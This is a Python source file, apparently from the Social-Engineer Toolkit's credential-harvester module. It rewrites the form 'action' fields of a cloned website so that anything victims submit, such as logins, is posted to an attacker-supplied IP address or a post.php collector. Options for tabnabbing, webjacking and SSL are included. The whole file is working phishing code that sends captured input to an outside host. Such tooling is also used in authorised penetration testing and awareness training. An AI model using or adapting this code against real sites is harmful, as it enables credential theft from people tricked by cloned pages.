social-engineer-toolkit/src/webattack/harvester/scraper.py

#!/usr/bin/env python

import os
import sys
import re
import subprocess
import urlparse
import shutil
from src.core.setcore import *


#
# Scraper will grab the cloned website and try defining post parameters
#

# grab ipaddr
if check_options("IPADDR=") != 0:
    ipaddr = check_options("IPADDR=")
else:
    ipaddr = raw_input(setcore.setprompt("0", "IP address to connect back on: "))
    update_options("IPADDR=" + ipaddr)

# set the multiattack tabnabbing/webjacking flag
multi_tabnabbing="off"
multi_webjacking="off"
if os.path.isfile(setdir + "/multi_tabnabbing"):
    multi_tabnabbing="on"
if os.path.isfile(setdir + "/multi_webjacking"):
    multi_webjacking="on"

# see if we're tabnabbing
fileopen=file(setdir + "/attack_vector", "r")
for line in fileopen:
    line=line.rstrip()
    if line == 'tabnabbing' or multi_tabnabbing == "on" or line == 'webjacking' or multi_webjacking == "on":
        site='index2.html'
    else:
        site='index.html'

# set ssl flag to false by default
ssl_flag="false"
# SEE IF WE WANT TO USE SSL
ssl_check = check_config("WEBATTACK_SSL=").lower()
if ssl_check == "on": ssl_flag = "true"

# check apache mode
apache_mode = check_config("APACHE_SERVER=").lower()
# if we are turned on this will change to /post.php

track_user = check_config("TRACK_EMAIL_ADDRESSES=").lower()
if track_user == "on":
    apache_mode = "on"

apache_rewrite = ""
# if we are turned on, change this
if apache_mode == "on": apache_rewrite = "post.php"

# start the scraping process
fileopen=file(setdir + "/web_clone/%s" % (site),"r").readlines()
filewrite=file(setdir + "/web_clone/index.html.new","w")
for line in fileopen:

    # specify if it found post params
    counter=0
    # if we hit on a post method

    match=re.search('post',line, flags=re.IGNORECASE)
    method_post=re.search("method=post", line, flags=re.IGNORECASE)
    if match or method_post:

    # regex for now, can probably use htmlparser later, but right not what its doing is
    # replacing any url on the "action" field with your victim IP which will have a custom
    # web server running to post the data to your site
        if ssl_flag == 'false':
            line=re.sub('action="http?\w://[\w.\?=/&]*/', 'action="http://%s/' % (ipaddr), line)
            if apache_mode == "on":
                line = re.sub('action="*"', 'action="http://%s/post.php"' % (ipaddr), line)
        if ssl_flag == 'true':
            line=re.sub('action="http?\w://[\w.\?=/&]*/', 'action="https://%s/' % (ipaddr), line)
            if apache_mode == "on":
                line = re.sub('action="*"', 'action="http://%s/post.php"' % (ipaddr), line)



    filewrite.write(line)


# close the file
filewrite.close()

# move our newly created website with our post stuff to our cloned area
if os.path.isfile(setdir + "/web_clone/index.html.new"):
    shutil.move(setdir + "/web_clone/index.html.new", setdir + "/web_clone/%s" % (site))